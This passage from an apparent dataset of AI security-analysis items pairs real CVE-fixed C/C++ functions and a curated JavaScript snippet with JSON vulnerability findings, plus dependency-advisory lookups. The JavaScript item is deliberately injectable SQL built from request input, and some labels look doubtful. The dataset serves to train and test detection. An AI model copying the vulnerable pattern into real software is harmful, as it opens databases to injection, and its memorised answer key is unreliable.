upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "cpp", "cwe": "CWE-20", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C++ function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "BrowserContext* OTRBrowserContextImpl::GetOriginalContext() const {\n return original_context_.get();\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-20\",\n \"cwe_name\": \"Improper Input Validation\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1586\",\n \"project\": \"launchpad\",\n \"vulnerable_lines\": [\n 2\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"BrowserContext\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 14\n },\n {\n \"token\": \"OTRBrowserContextImpl\",\n \"ast_node\": \"namespace_identifier\",\n \"line\": 1,\n \"col\": 16\n },\n {\n \"token\": \"::\",\n \"ast_node\": \"::\",\n \"line\": 1,\n \"col\": 37\n },\n {\n \"token\": \"GetOriginalContext\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 57\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 58\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 60\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 66\n },\n {\n \"token\": \"return\",\n \"ast_node\": \"return\",\n \"line\": 2,\n \"col\": 2\n },\n {\n \"token\": \"original_context_\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 9\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 2,\n \"col\": 26\n },\n {\n \"token\": \"get\",\n \"ast_node\": \"field_identifier\",\n \"line\": 2,\n \"col\": 27\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 2,\n \"col\": 30\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 32\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 3,\n \"col\": 1\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-119", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": " void CheckSADs() {\n unsigned int reference_sad, exp_sad[4];\n \n SADs(exp_sad);\n for (int block = 0; block < 4; block++) {\n reference_sad = ReferenceSAD(UINT_MAX, block);\n \n EXPECT_EQ(exp_sad[block], reference_sad) << \"block \" << block;\n }\n }\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-119\",\n \"cwe_name\": \"Improper Restriction of Operations within Memory Buffer Bounds\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-1621\",\n \"project\": \"Android\",\n \"vulnerable_lines\": [\n 5,\n 6,\n 8\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"void\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 3\n },\n {\n \"token\": \"CheckSADs\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 17\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 18\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 1,\n \"col\": 20\n },\n {\n \"token\": \"unsigned\",\n \"ast_node\": \"unsigned\",\n \"line\": 2,\n \"col\": 5\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 2,\n \"col\": 14\n },\n {\n \"token\": \"reference_sad\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 18\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 2,\n \"col\": 31\n },\n {\n \"token\": \"exp_sad\",\n \"ast_node\": \"identifier\",\n \"line\": 2,\n \"col\": 33\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 2,\n \"col\": 40\n },\n {\n \"token\": \"4\",\n \"ast_node\": \"number_literal\",\n \"line\": 2,\n \"col\": 41\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 2,\n \"col\": 42\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 2,\n \"col\": 43\n },\n {\n \"token\": \"SADs\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 9\n },\n {\n \"token\": \"exp_sad\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 10\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 18\n },\n {\n \"token\": \"for\",\n \"ast_node\": \"for\",\n \"line\": 5,\n \"col\": 4\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 5,\n \"col\": 9\n },\n {\n \"token\": \"block\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 13\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 5,\n \"col\": 19\n },\n {\n \"token\": \"0\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 21\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 22\n },\n {\n \"token\": \"block\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 24\n },\n {\n \"token\": \"<\",\n \"ast_node\": \"<\",\n \"line\": 5,\n \"col\": 30\n },\n {\n \"token\": \"4\",\n \"ast_node\": \"number_literal\",\n \"line\": 5,\n \"col\": 32\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 33\n },\n {\n \"token\": \"block\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 35\n },\n {\n \"token\": \"++\",\n \"ast_node\": \"++\",\n \"line\": 5,\n \"col\": 40\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 5,\n \"col\": 42\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 5,\n \"col\": 44\n },\n {\n \"token\": \"reference_sad\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 6\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 6,\n \"col\": 20\n },\n {\n \"token\": \"ReferenceSAD\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 22\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 6,\n \"col\": 34\n },\n {\n \"token\": \"UINT_MAX\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 35\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 43\n },\n {\n \"token\": \"block\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 45\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 6,\n \"col\": 50\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 51\n },\n {\n \"token\": \"EXPECT_EQ\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 6\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 8,\n \"col\": 15\n },\n {\n \"token\": \"exp_sad\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 16\n },\n {\n \"token\": \"[\",\n \"ast_node\": \"[\",\n \"line\": 8,\n \"col\": 23\n },\n {\n \"token\": \"block\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 24\n },\n {\n \"token\": \"]\",\n \"ast_node\": \"]\",\n \"line\": 8,\n \"col\": 29\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 8,\n \"col\": 30\n },\n {\n \"token\": \"reference_sad\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 32\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 8,\n \"col\": 45\n },\n {\n \"token\": \"<<\",\n \"ast_node\": \"<<\",\n \"line\": 8,\n \"col\": 47\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 8,\n \"col\": 50\n },\n {\n \"token\": \"block \",\n \"ast_node\": \"string_content\",\n \"line\": 8,\n \"col\": 51\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 8,\n \"col\": 57\n },\n {\n \"token\": \"<<\",\n \"ast_node\": \"<<\",\n \"line\": 8,\n \"col\": 59\n },\n {\n \"token\": \"block\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 62\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 67\n },\n {\n \"token\": \"}\",\n \"ast_node\": \"}\",\n \"line\": 9,\n \"col\": 5\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "c", "cwe": null, "source": "OSV (osv.dev) / Debian & Alpine security trackers", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Debian:12\nManifest: distro package manager (apt/apk)\nPackage: imagemagick\nInstalled version: 8:6.9.11.60+dfsg-1.5\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"Debian:12\",\n \"package\": \"imagemagick\",\n \"installed_version\": \"8:6.9.11.60+dfsg-1.5\",\n \"note\": \"imagemagick 8:6.9.11.60+dfsg-1.5 is at or above the fixed version for DEBIAN-CVE-2022-32546; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "python", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "You are a software composition analysis (SCA) engine. Determine whether the dependency below is affected by a known supply-chain vulnerability and report the finding as JSON.", "input": "Ecosystem: PyPI\nManifest: requirements.txt\nPackage: psutil\nInstalled version: 5.6.6\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"PyPI\",\n \"package\": \"psutil\",\n \"installed_version\": \"5.6.6\",\n \"note\": \"psutil 5.6.6 is at or above the fixed version for GHSA-qfc5-mcwq-26q8; no known advisory applies to this version.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": "CWE-416", "source": "BigVul (real CVE-fixed functions)", "instruction": "Perform AST-based static analysis on the following real-world C function. Determine if it is vulnerable, and if so locate the vulnerable region and report a structured finding.", "input": "static int dccp_v6_send_response(const struct sock *sk, struct request_sock *req)\n{\n\tstruct inet_request_sock *ireq = inet_rsk(req);\n\tstruct ipv6_pinfo *np = inet6_sk(sk);\n\tstruct sk_buff *skb;\n\tstruct in6_addr *final_p, final;\n\tstruct flowi6 fl6;\n\tint err = -1;\n\tstruct dst_entry *dst;\n\n\tmemset(&fl6, 0, sizeof(fl6));\n\tfl6.flowi6_proto = IPPROTO_DCCP;\n\tfl6.daddr = ireq->ir_v6_rmt_addr;\n\tfl6.saddr = ireq->ir_v6_loc_addr;\n\tfl6.flowlabel = 0;\n\tfl6.flowi6_oif = ireq->ir_iif;\n\tfl6.fl6_dport = ireq->ir_rmt_port;\n\tfl6.fl6_sport = htons(ireq->ir_num);\n \tsecurity_req_classify_flow(req, flowi6_to_flowi(&fl6));\n \n \n\tfinal_p = fl6_update_dst(&fl6, np->opt, &final);\n \n \tdst = ip6_dst_lookup_flow(sk, &fl6, final_p);\n \tif (IS_ERR(dst)) {\n\t\terr = PTR_ERR(dst);\n\t\tdst = NULL;\n\t\tgoto done;\n\t}\n\n\tskb = dccp_make_response(sk, dst, req);\n\tif (skb != NULL) {\n\t\tstruct dccp_hdr *dh = dccp_hdr(skb);\n\n\t\tdh->dccph_checksum = dccp_v6_csum_finish(skb,\n \t\t\t\t\t\t\t &ireq->ir_v6_loc_addr,\n \t\t\t\t\t\t\t &ireq->ir_v6_rmt_addr);\n \t\tfl6.daddr = ireq->ir_v6_rmt_addr;\n\t\terr = ip6_xmit(sk, skb, &fl6, np->opt, np->tclass);\n \t\terr = net_xmit_eval(err);\n \t}\n \ndone:\n\tdst_release(dst);\n\treturn err;\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-416\",\n \"cwe_name\": \"Use After Free\",\n \"severity\": \"high\",\n \"cve\": \"CVE-2016-3841\",\n \"project\": \"linux\",\n \"vulnerable_lines\": [\n 22,\n 39\n ],\n \"sink_node_type\": \"function_definition\",\n \"ast_path\": [\n \"translation_unit\",\n \"function_definition\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"static\",\n \"ast_node\": \"static\",\n \"line\": 1,\n \"col\": 0\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 1,\n \"col\": 7\n },\n {\n \"token\": \"dccp_v6_send_response\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 11\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 1,\n \"col\": 32\n },\n {\n \"token\": \"const\",\n \"ast_node\": \"const\",\n \"line\": 1,\n \"col\": 33\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 39\n },\n {\n \"token\": \"sock\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 46\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 51\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 52\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 1,\n \"col\": 54\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 1,\n \"col\": 56\n },\n {\n \"token\": \"request_sock\",\n \"ast_node\": \"type_identifier\",\n \"line\": 1,\n \"col\": 63\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 1,\n \"col\": 76\n },\n {\n \"token\": \"req\",\n \"ast_node\": \"identifier\",\n \"line\": 1,\n \"col\": 77\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 1,\n \"col\": 80\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 2,\n \"col\": 0\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 3,\n \"col\": 1\n },\n {\n \"token\": \"inet_request_sock\",\n \"ast_node\": \"type_identifier\",\n \"line\": 3,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 3,\n \"col\": 26\n },\n {\n \"token\": \"ireq\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 27\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 3,\n \"col\": 32\n },\n {\n \"token\": \"inet_rsk\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 34\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 42\n },\n {\n \"token\": \"req\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 43\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 46\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 3,\n \"col\": 47\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 4,\n \"col\": 1\n },\n {\n \"token\": \"ipv6_pinfo\",\n \"ast_node\": \"type_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 4,\n \"col\": 19\n },\n {\n \"token\": \"np\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 20\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 4,\n \"col\": 23\n },\n {\n \"token\": \"inet6_sk\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 25\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 33\n },\n {\n \"token\": \"sk\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 34\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 4,\n \"col\": 36\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 4,\n \"col\": 37\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 5,\n \"col\": 1\n },\n {\n \"token\": \"sk_buff\",\n \"ast_node\": \"type_identifier\",\n \"line\": 5,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 5,\n \"col\": 16\n },\n {\n \"token\": \"skb\",\n \"ast_node\": \"identifier\",\n \"line\": 5,\n \"col\": 17\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 5,\n \"col\": 20\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 6,\n \"col\": 1\n },\n {\n \"token\": \"in6_addr\",\n \"ast_node\": \"type_identifier\",\n \"line\": 6,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 6,\n \"col\": 17\n },\n {\n \"token\": \"final_p\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 18\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 6,\n \"col\": 25\n },\n {\n \"token\": \"final\",\n \"ast_node\": \"identifier\",\n \"line\": 6,\n \"col\": 27\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 6,\n \"col\": 32\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 7,\n \"col\": 1\n },\n {\n \"token\": \"flowi6\",\n \"ast_node\": \"type_identifier\",\n \"line\": 7,\n \"col\": 8\n },\n {\n \"token\": \"fl6\",\n \"ast_node\": \"identifier\",\n \"line\": 7,\n \"col\": 15\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 7,\n \"col\": 18\n },\n {\n \"token\": \"int\",\n \"ast_node\": \"primitive_type\",\n \"line\": 8,\n \"col\": 1\n },\n {\n \"token\": \"err\",\n \"ast_node\": \"identifier\",\n \"line\": 8,\n \"col\": 5\n },\n {\n \"token\": \"=\",\n \"ast_node\": \"=\",\n \"line\": 8,\n \"col\": 9\n },\n {\n \"token\": \"-1\",\n \"ast_node\": \"number_literal\",\n \"line\": 8,\n \"col\": 11\n },\n {\n \"token\": \";\",\n \"ast_node\": \";\",\n \"line\": 8,\n \"col\": 13\n },\n {\n \"token\": \"struct\",\n \"ast_node\": \"struct\",\n \"line\": 9,\n \"col\": 1\n },\n {\n \"token\": \"dst_entry\",\n \"ast_node\": \"type_identifier\",\n \"line\": 9,\n \"col\": 8\n },\n {\n \"token\": \"*\",\n \"ast_node\": \"*\",\n \"line\": 9,\n \"col\": 18\n }\n ],\n \"explanation\": \"Function was modified by the security fix for this CVE; the changed lines mark the vulnerable region.\",\n \"remediation\": \"Apply the upstream fix; see the patched version for the corrected logic.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-502", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.NETCore.App.Runtime.linux-arm\nInstalled version: 6.0.0\nSummary: .NET Denial of Service Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-8f7f-vqg5-jrv9\",\n \"cve\": \"CVE-2023-21538\",\n \"aliases\": [\n \"BIT-dotnet-2023-21538\",\n \"BIT-dotnet-sdk-2023-21538\",\n \"BIT-powershell-2023-21538\",\n \"CVE-2023-21538\"\n ],\n \"cwe\": \"CWE-502\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.NETCore.App.Runtime.linux-arm\",\n \"severity\": \"high\",\n \"affected_versions\": \">=6.0.0, <6.0.13\",\n \"fixed_version\": \"6.0.13\",\n \"finding\": \".NET Denial of Service Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.NETCore.App.Runtime.linux-arm to 6.0.13 or later.\"\n}"} {"task": "supply_chain_sca", "language": "java", "cwe": "CWE-22", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: Maven\nManifest: pom.xml (Maven)\nPackage: org.apache.iotdb:iotdb-server\nInstalled version: 1.0.0\nSummary: Apache IoTDB has a Path Traversal vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-h548-jhj8-q85h\",\n \"cve\": \"CVE-2025-64152\",\n \"aliases\": [\n \"CVE-2025-64152\"\n ],\n \"cwe\": \"CWE-22\",\n \"ecosystem\": \"Maven\",\n \"package\": \"org.apache.iotdb:iotdb-server\",\n \"severity\": \"critical\",\n \"affected_versions\": \">=1.0.0, <1.3.6\",\n \"fixed_version\": \"1.3.6\",\n \"finding\": \"Apache IoTDB has a Path Traversal vulnerability\",\n \"remediation\": \"Upgrade org.apache.iotdb:iotdb-server to 1.3.6 or later.\"\n}"} {"task": "supply_chain_sca", "language": "javascript", "cwe": null, "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Act as a SAST/SCA tool. Given the package and version in a project's dependency manifest, detect any known vulnerability and return a structured advisory.", "input": "Ecosystem: npm\nManifest: package.json\nPackage: strapi\nInstalled version: 3.0.2\nSummary: assess against known advisories", "output": "{\n \"vulnerable\": false,\n \"ecosystem\": \"npm\",\n \"package\": \"strapi\",\n \"installed_version\": \"3.0.2\",\n \"note\": \"strapi 3.0.2 is at or above the fixed version for GHSA-65wv-528r-m892; no known advisory applies to this version.\"\n}"} {"task": "supply_chain_sca", "language": "csharp", "cwe": "CWE-787", "source": "OSV (osv.dev) / GitHub Advisory Database", "instruction": "Analyze the following third-party dependency for known supply-chain security advisories and output the result as JSON.", "input": "Ecosystem: NuGet\nManifest: packages.config / .csproj (NuGet)\nPackage: Microsoft.ChakraCore\nInstalled version: <1.8.1\nSummary: ChakraCore RCE Vulnerability", "output": "{\n \"vulnerable\": true,\n \"advisory_id\": \"GHSA-7gjv-9m33-chg8\",\n \"cve\": \"CVE-2018-0858\",\n \"aliases\": [\n \"CVE-2018-0858\"\n ],\n \"cwe\": \"CWE-787\",\n \"ecosystem\": \"NuGet\",\n \"package\": \"Microsoft.ChakraCore\",\n \"severity\": \"high\",\n \"affected_versions\": \">=0, <1.8.1\",\n \"fixed_version\": \"1.8.1\",\n \"finding\": \"ChakraCore RCE Vulnerability\",\n \"remediation\": \"Upgrade Microsoft.ChakraCore to 1.8.1 or later.\"\n}"} {"task": "ast_vuln_detection", "language": "c", "cwe": null, "source": "BigVul (real non-vulnerable functions)", "instruction": "You are a static application security testing (SAST) engine. Parse the C function into its AST, map tokens to AST nodes, decide whether it contains a security vulnerability, and report as JSON.", "input": "static HB_Error Load_PosRule( HB_PosRule* pr,\n\t\t\t HB_Stream stream )\n{\n HB_Error error;\n\n HB_UShort n, count;\n HB_UShort* i;\n\n HB_PosLookupRecord* plr;\n\n\n if ( ACCESS_Frame( 4L ) )\n return error;\n\n pr->GlyphCount = GET_UShort();\n pr->PosCount = GET_UShort();\n\n FORGET_Frame();\n\n pr->Input = NULL;\n\n count = pr->GlyphCount - 1; /* only GlyphCount - 1 elements */\n\n if ( ALLOC_ARRAY( pr->Input, count, HB_UShort ) )\n return error;\n\n i = pr->Input;\n\n if ( ACCESS_Frame( count * 2L ) )\n goto Fail2;\n\n for ( n = 0; n < count; n++ )\n i[n] = GET_UShort();\n\n FORGET_Frame();\n\n pr->PosLookupRecord = NULL;\n\n count = pr->PosCount;\n\n if ( ALLOC_ARRAY( pr->PosLookupRecord, count, HB_PosLookupRecord ) )\n goto Fail2;\n\n plr = pr->PosLookupRecord;\n\n if ( ACCESS_Frame( count * 4L ) )\n goto Fail1;\n\n for ( n = 0; n < count; n++ )\n {\n plr[n].SequenceIndex = GET_UShort();\n plr[n].LookupListIndex = GET_UShort();\n }\n\n FORGET_Frame();\n\n return HB_Err_Ok;\n\nFail1:\n FREE( plr );\n\nFail2:\n FREE( i );\n return error;\n}\n", "output": "{\n \"vulnerable\": false,\n \"cwe\": null,\n \"findings\": [],\n \"project\": \"harfbuzz\",\n \"note\": \"Non-vulnerable function from a real project (BigVul label vul=0).\",\n \"ast_top_level\": [\n \"translation_unit\",\n \"function_definition\"\n ]\n}"} {"task": "ast_vuln_detection", "language": "javascript", "cwe": "CWE-89", "source": "curated SAST pattern + tree-sitter AST", "instruction": "You are a static application security testing (SAST) engine. Parse the javascript source into its AST, map each token to its AST node, identify the vulnerable sink, and report the vulnerability as JSON.", "input": "function getUser(req, res) {\n const data = req.body.payload;\n db.query(\"SELECT * FROM users WHERE id = '\" + data + \"'\", (e, rows) => {\n res.json(rows);\n });\n}\n", "output": "{\n \"vulnerable\": true,\n \"cwe\": \"CWE-89\",\n \"cwe_name\": \"SQL Injection\",\n \"title\": \"SQL injection via string concatenation\",\n \"severity\": \"critical\",\n \"vulnerable_lines\": [\n 3,\n 5\n ],\n \"sink_node_type\": \"call_expression\",\n \"ast_path\": [\n \"program\",\n \"function_declaration\",\n \"statement_block\",\n \"expression_statement\",\n \"call_expression\"\n ],\n \"token_ast_map\": [\n {\n \"token\": \"db\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 2\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 3,\n \"col\": 4\n },\n {\n \"token\": \"query\",\n \"ast_node\": \"property_identifier\",\n \"line\": 3,\n \"col\": 5\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 10\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 11\n },\n {\n \"token\": \"SELECT * FROM users WHERE id = '\",\n \"ast_node\": \"string_fragment\",\n \"line\": 3,\n \"col\": 12\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 44\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 46\n },\n {\n \"token\": \"data\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 48\n },\n {\n \"token\": \"+\",\n \"ast_node\": \"+\",\n \"line\": 3,\n \"col\": 53\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 55\n },\n {\n \"token\": \"'\",\n \"ast_node\": \"string_fragment\",\n \"line\": 3,\n \"col\": 56\n },\n {\n \"token\": \"\\\"\",\n \"ast_node\": \"\\\"\",\n \"line\": 3,\n \"col\": 57\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 58\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 3,\n \"col\": 60\n },\n {\n \"token\": \"e\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 61\n },\n {\n \"token\": \",\",\n \"ast_node\": \",\",\n \"line\": 3,\n \"col\": 62\n },\n {\n \"token\": \"rows\",\n \"ast_node\": \"identifier\",\n \"line\": 3,\n \"col\": 64\n },\n {\n \"token\": \")\",\n \"ast_node\": \")\",\n \"line\": 3,\n \"col\": 68\n },\n {\n \"token\": \"=>\",\n \"ast_node\": \"=>\",\n \"line\": 3,\n \"col\": 70\n },\n {\n \"token\": \"{\",\n \"ast_node\": \"{\",\n \"line\": 3,\n \"col\": 73\n },\n {\n \"token\": \"res\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 4\n },\n {\n \"token\": \".\",\n \"ast_node\": \".\",\n \"line\": 4,\n \"col\": 7\n },\n {\n \"token\": \"json\",\n \"ast_node\": \"property_identifier\",\n \"line\": 4,\n \"col\": 8\n },\n {\n \"token\": \"(\",\n \"ast_node\": \"(\",\n \"line\": 4,\n \"col\": 12\n },\n {\n \"token\": \"rows\",\n \"ast_node\": \"identifier\",\n \"line\": 4,\n \"col\": 